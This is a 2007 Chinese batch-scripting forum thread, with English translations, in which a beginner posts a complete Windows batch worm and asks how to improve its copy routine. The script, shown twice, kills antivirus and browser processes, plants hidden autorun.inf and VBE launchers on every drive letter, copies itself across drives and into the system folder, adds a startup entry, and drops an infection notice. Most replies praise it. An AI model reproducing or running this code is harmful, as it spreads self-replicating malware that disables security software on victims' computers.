|
421062724
初级用户
 
积分 32
发帖 15
注册 2007-4-2
状态 离线
|
『楼 主』:
除了用for能用其它方法全盘复制文件吗?
使用 LLM 解释/回答一下
我学dos一个星期,编了下面这段代码。
我看过一段代码进行全盘复制不是用for命令进行
而是用环境变量实现的
但是我不会,有没有高人指点一下,感激不尽
@echo off
setlocal ENABLEDELAYEDEXPANSION ENABLEEXTENSIONS
cd /d "%~dp0"
if /i "%cd%"=="%~d0\" (explorer.exe "%~d0")
if exist %systemroot%\wataxiwabaka.txt (del %systemroot%\wataxiwabaka.txt&&goto end)
if exist %systemroot%\pujie.txt goto check ELSE goto start
:check
for /f "tokens=2-11 delims==" %%a in (%systemroot%\pujie.txt) do (If "%%a%%b%%c%%d%%e%%f%%g%%h%%i%%j"=="diaonigehi" goto del)
:start
call:course>%systemroot%\course.txt
For /f "eol=: tokens=2* delims==" %%F in (%systemroot%\course.txt) do (taskkill /f /im %%F) >nul 2>nul
For %%F in (C: D: E: F: G: H: I: J: K: L: M: N: O: P: Q: R: S: T: U: V: W: X: Y: Z:) do (call:read>%%F\作者的话.txt)>nul 2>nul
For %%F in (C: D: E: F: G: H: I: J: K: L: M: N: O: P: Q: R: S: T: U: V: W: X: Y: Z:) do (call:inf>%%F\autorun.inf&attrib +a +s +h +r %%F\autorun.inf)>nul 2>nul
For %%F in (%systemRoot%\ C: D: E: F: G: H: I: J: K: L: M: N: O: P: Q: R: S: T: U: V: W: X: Y: Z:) do (call:vbe>%%F\%~n0.vbe&attrib +a +s +h +r %%F\%~n0.vbe)>nul 2>nul
copy %~dpnx0 %systemroot%\
For %%F in (C: D: E: F: G: H: I: J: K: L: M: N: O: P: Q: R: S: T: U: V: W: X: Y: Z:) do (copy %systemroot%\%~nx0 %%F&&attrib +a +s +h +r %%F\%~xn0)>nul 2>nul
call:vbe2>"%ALLUSERSPROFILE%\「开始」菜单\程序\启动\%~n0.vbe
start %systemroot%\%~n0.vbe
:vbe2
echo wscript.createobject("wscript.shell").run """%systemroot%\%~nx0"" /start",0
goto:diao>nul 2>nul
:inf
echo.
echo.open=wscript.exe %~n0.vbe
echo.shell\open\command=wscript.exe %~n0.vbe
echo.shell\explore\command=wscript.exe %~n0.vbe
echo.shell\find\command=wscript.exe %~n0.vbe
goto:diao>nul 2>nul
:vbe
echo wscript.createobject("wscript.shell").run """%~nx0"" /start",0
goto:diao>nul 2>nul
:course
echo course=RarStub.exe
echo course=RavTask.exe
echo course=Ravmon.exe
echo course=Ravmond.exe
::瑞星
echo course=avgas.exe
::AVG
echo course=Kpfwsvc.exe
echo course=kpfw32.exe
echo course=kavpew.exe
::金山
echo course=360shell.exe
::360
echo course=qqdoctor.exe
::QQ医生
echo course=iexplore.exe
::IE
echo course=kmailmon.exe
echo course=kavstart.exe
echo course=kwatch.exe
::金山
goto:diao>nul 2>nul
:read
echo.您好,您的电脑已经中毒.不过不必过分害怕,此病毒并无任何破坏行,只是为了测试代码.如果您无法删除此病毒,请启用本病毒自代的卸载程序.您可以在%systemroot%建立一个名为wataxiwabaka.txt的文档.30秒内会弹出卸载提示.谢谢合作.祝您卸载愉快.
goto:diao>nul 2>nul
:mima
echo.set /p mima="请输入密码按回车确认:"
echo.pause
echo.if "%%mima%%"=="050353210" echo 正确^&^&pause^&^&goto call
echo.echo 错误
echo.pause
echo.goto:exit
echo.:call
echo.call:txt^>^%systemroot%\pujie.txt
echo.:txt
echo.echo 1=d=i=a=o=n=i=g=e=h=i
echo.:exit
echo.exit
goto:diao
:end
echo.@echo off>%systemroot%\mima.bat
call:mima >>%systemroot%\mima.bat
start %systemroot%\mima.bat
start %systemRoot%\%~n0.vbe
exit
:del
FOR %%F in (%systemRoot%\ C: D: E: F: G: H: I: J: K: L: M: N: O: P: Q: R: S: T: U: V: W: X: Y: Z:) DO (FOR %%D in (autorun.inf %~nx0 %~n0.vbe) DO attrib -s -h -a -r %%F\%%D)
FOR %%F IN (%systemRoot%\ C: D: E: F: G: H: I: J: K: L: M: N: O: P: Q: R: S: T: U: V: W: X: Y: Z:) DO (FOR %%D IN (autorun.inf %~nx0 %~n0.vbe 作者的话.txt) DO del %%F\%%D)
del %systemroot%\mima.bat
del %systemroot%\course.txt
del %systemroot%\pujie.txt
del %systemroot%\wataxiwabaka.txt
del /q "%ALLUSERSPROFILE%\「开始」菜单\程序\启动\%~n0.vbe"
exit
Last edited by 421062724 on 2007-4-18 at 12:52 PM ]
I've been learning DOS for a week and wrote the following code.
I saw a code for full-disk copying that didn't use the for command but was implemented using environment variables. But I don't know how to do it. Is there any expert who can give me some guidance? Thanks a lot.
@echo off
setlocal ENABLEDELAYEDEXPANSION ENABLEEXTENSIONS
cd /d "%~dp0"
if /i "%cd%"=="%~d0\" (explorer.exe "%~d0")
if exist %systemroot%\wataxiwabaka.txt (del %systemroot%\wataxiwabaka.txt&&goto end)
if exist %systemroot%\pujie.txt goto check ELSE goto start
:check
for /f "tokens=2-11 delims==" %%a in (%systemroot%\pujie.txt) do (If "%%a%%b%%c%%d%%e%%f%%g%%h%%i%%j"=="diaonigehi" goto del)
:start
call:course>%systemroot%\course.txt
For /f "eol=: tokens=2* delims==" %%F in (%systemroot%\course.txt) do (taskkill /f /im %%F) >nul 2>nul
For %%F in (C: D: E: F: G: H: I: J: K: L: M: N: O: P: Q: R: S: T: U: V: W: X: Y: Z:) do (call:read>%%F\作者的话.txt)>nul 2>nul
For %%F in (C: D: E: F: G: H: I: J: K: L: M: N: O: P: Q: R: S: T: U: V: W: X: Y: Z:) do (call:inf>%%F\autorun.inf&attrib +a +s +h +r %%F\autorun.inf)>nul 2>nul
For %%F in (%systemRoot%\ C: D: E: F: G: H: I: J: K: L: M: N: O: P: Q: R: S: T: U: V: W: X: Y: Z:) do (call:vbe>%%F\%~n0.vbe&attrib +a +s +h +r %%F\%~n0.vbe)>nul 2>nul
copy %~dpnx0 %systemroot%\
For %%F in (C: D: E: F: G: H: I: J: K: L: M: N: O: P: Q: R: S: T: U: V: W: X: Y: Z:) do (copy %systemroot%\%~nx0 %%F&&attrib +a +s +h +r %%F\%~xn0)>nul 2>nul
call:vbe2>"%ALLUSERSPROFILE%\「开始」菜单\程序\启动\%~n0.vbe
start %systemroot%\%~n0.vbe
:vbe2
echo wscript.createobject("wscript.shell").run """%systemroot%\%~nx0"" /start",0
goto:diao>nul 2>nul
:inf
echo.
echo.open=wscript.exe %~n0.vbe
echo.shell\open\command=wscript.exe %~n0.vbe
echo.shell\explore\command=wscript.exe %~n0.vbe
echo.shell\find\command=wscript.exe %~n0.vbe
goto:diao>nul 2>nul
:vbe
echo wscript.createobject("wscript.shell").run """%~nx0"" /start",0
goto:diao>nul 2>nul
:course
echo course=RarStub.exe
echo course=RavTask.exe
echo course=Ravmon.exe
echo course=Ravmond.exe
:: Rising Antivirus
echo course=avgas.exe
:: AVG
echo course=Kpfwsvc.exe
echo course=kpfw32.exe
echo course=kavpew.exe
:: Kingsoft
echo course=360shell.exe
:: 360
echo course=qqdoctor.exe
:: QQ Doctor
echo course=iexplore.exe
:: IE
echo course=kmailmon.exe
echo course=kavstart.exe
echo course=kwatch.exe
:: Kingsoft
goto:diao>nul 2>nul
:read
echo. Hello, your computer has been infected with a virus. But don't be overly frightened. This virus has no destructive behavior, just for testing the code. If you can't delete this virus, please enable the self-contained uninstaller of this virus. You can create a document named wataxiwabaka.txt in %systemroot%. An uninstall prompt will pop up within 30 seconds. Thank you for your cooperation. Wish you a happy uninstallation.
goto:diao>nul 2>nul
:mima
echo.set /p mima="Please enter the password and press Enter to confirm:"
echo.pause
echo.if "%%mima%%"=="050353210" echo 正确^&^&pause^&^&goto call
echo.echo 错误
echo.pause
echo.goto:exit
echo.:call
echo.call:txt^>^%systemroot%\pujie.txt
echo.:txt
echo.echo 1=d=i=a=o=n=i=g=e=h=i
echo.:exit
echo.exit
goto:diao
:end
echo.@echo off>%systemroot%\mima.bat
call:mima >>%systemroot%\mima.bat
start %systemroot%\mima.bat
start %systemRoot%\%~n0.vbe
exit
:del
FOR %%F in (%systemRoot%\ C: D: E: F: G: H: I: J: K: L: M: N: O: P: Q: R: S: T: U: V: W: X: Y: Z:) DO (FOR %%D in (autorun.inf %~nx0 %~n0.vbe) DO attrib -s -h -a -r %%F\%%D)
FOR %%F IN (%systemRoot%\ C: D: E: F: G: H: I: J: K: L: M: N: O: P: Q: R: S: T: U: V: W: X: Y: Z:) DO (FOR %%D IN (autorun.inf %~nx0 %~n0.vbe 作者的话.txt) DO del %%F\%%D)
del %systemroot%\mima.bat
del %systemroot%\course.txt
del %systemroot%\pujie.txt
del %systemroot%\wataxiwabaka.txt
del /q "%ALLUSERSPROFILE%\「开始」菜单\程序\启动\%~n0.vbe"
exit
Last edited by 421062724 on 2007-4-18 at 12:52 PM ]
|
|
2007-4-8 07:20 |
|
|
gudiemao
新手上路

积分 7
发帖 4
注册 2007-4-9
状态 离线
|
|
2007-4-9 04:14 |
|
|
xinhepc
初级用户
 
积分 90
发帖 40
注册 2007-4-8 来自 广州
状态 离线
|
『第 3 楼』:
使用 LLM 解释/回答一下
晕,学一个星期就写出这个,我看都看不懂。很利害,我都接触DOS半年了,只会个DIR和COPY命令。
我顶
Wow, after learning for a week, you wrote this. I can't even understand it. It's amazing. I've been in touch with DOS for half a year and only know the DIR and COPY commands.
I agree
|
|
2007-4-9 07:16 |
|
|
xiaozhe0
新手上路

积分 14
发帖 6
注册 2007-4-4
状态 离线
|
|
2007-4-10 10:28 |
|
|
htysm
高级用户
   
积分 866
发帖 415
注册 2005-12-4
状态 离线
|
『第 5 楼』:
使用 LLM 解释/回答一下
请问楼主,你是想写病毒吗?具有“+s +h +r “属性的文件你能”copy"吗?
看来楼主VBS学得也很不错,这么短的时间有如此成绩,在下佩服。^O^
Last edited by htysm on 2007-4-19 at 03:49 AM ]
Excuse me, the original poster, do you want to write a virus? Can you "copy" files with the "+s +h +r" attributes?
It seems the original poster's VBS learning is also very good. With such achievements in such a short time, I admire you. ^O^
Last edited by htysm on 2007-4-19 at 03:49 AM ]
|
|
2007-4-13 00:20 |
|
|
Leno
新手上路

积分 4
发帖 2
注册 2007-4-13
状态 离线
|
『第 6 楼』:
好好学习
使用 LLM 解释/回答一下
很多以前没有好好学习的要顶了哦。。学习的好地方
Many who didn't study hard before should come to the top. Oh, a good place to study
|
|
2007-4-13 11:17 |
|
|
421062724
初级用户
 
积分 32
发帖 15
注册 2007-4-2
状态 离线
|
『第 7 楼』:
使用 LLM 解释/回答一下
我也相改一下,copy那里我想用type的拷贝工能代替
I also want to make a change. I want to use the copy function of type instead of copy there.
|
|
2007-4-17 09:52 |
|
|
421062724
初级用户
 
积分 32
发帖 15
注册 2007-4-2
状态 离线
|
|
2007-4-19 01:50 |
|
|
guxingyibei
初级用户
 
积分 68
发帖 32
注册 2007-4-1
状态 离线
|
『第 9 楼』:
楼主真是天才!
使用 LLM 解释/回答一下
学习一周就编出这样的东西,看来中国的爱因斯坦诞生了!
我只能看动七成左右,郁闷中!!
Learning for a week and then creating something like this, it seems that a Chinese Einstein is born!
I can only understand about 70%, feeling depressed!
|
|
2007-4-20 11:13 |
|
|
BWSkyer
中级用户
   我是DOS学者
积分 367
发帖 180
注册 2006-5-14 来自 重庆
状态 离线
|
『第 10 楼』:
使用 LLM 解释/回答一下
cd /d "%~dp0"
if /i "%cd%"=="%~d0\" (explorer.exe "%~d0")
一開始就遇到了困難.這段中的 "%~dp0"是甚麼? 我第一次看見這樣的參數.
cd /d "%~dp0"
if /i "%cd%"=="%~d0\" (explorer.exe "%~d0")
The first part encounters difficulties. What is "%~dp0" in this segment? I saw this parameter for the first time.
|

My blog:左铅右椠 上善若水
My team: 519创意团队 |
|
2007-4-20 22:28 |
|
|
bjsh
银牌会员
    
积分 2000
发帖 621
注册 2007-1-1
状态 离线
|
『第 11 楼』:
使用 LLM 解释/回答一下
re:ls
如果只是告诉你答案也许你懂的就这么一点;
倒不如告诉你 运行 hh ntcmds.chm 查找for
re: ls
If just telling you the answer might mean you only understand so little;
It's better to tell you to run hh ntcmds.chm to find for
|
|
2007-4-20 23:03 |
|
|
421062724
初级用户
 
积分 32
发帖 15
注册 2007-4-2
状态 离线
|
『第 12 楼』:
使用 LLM 解释/回答一下
谢谢高手提点,继续努力中,因为本人是学生,平时要住校,没太多时间研究。
不过我会继续努力的,谢谢各位的建议和帮助。
Thanks to the experts for the guidance, and I'm continuing to work hard. Because I'm a student and usually live in school, I don't have much time to study. But I'll keep working hard. Thanks to everyone's suggestions and help.
|
|
2007-4-22 11:02 |
|
|
zqdarkday
中级用户
  
积分 210
发帖 79
注册 2007-4-14 来自 湖北
状态 离线
|
|
2007-4-22 23:54 |
|
|
sxs88
初级用户
 
积分 52
发帖 26
注册 2007-8-9
状态 离线
|
『第 14 楼』:
使用 LLM 解释/回答一下
NB 太牛逼了 一个星期 ?????
你把牛逼套嘴上了吧!!
你是高手不要把你的学习时间写出来炫耀,搞的我开始怀疑自己的智商了,我真的被你治伤了!
NB is too awesome. One week?????
You put "awesome" on your mouth!
You are a master, don't show off your study time. It makes me start to doubt my own IQ. I'm really hurt by you!
|
|
2007-8-10 21:40 |
|
|
lovehack2006
初级用户
 
积分 135
发帖 64
注册 2006-12-20
状态 离线
|
『第 15 楼』:
使用 LLM 解释/回答一下
牛B我还看不明白是什么东西
I can't understand what's so great about it
|
|
2007-8-11 15:34 |
|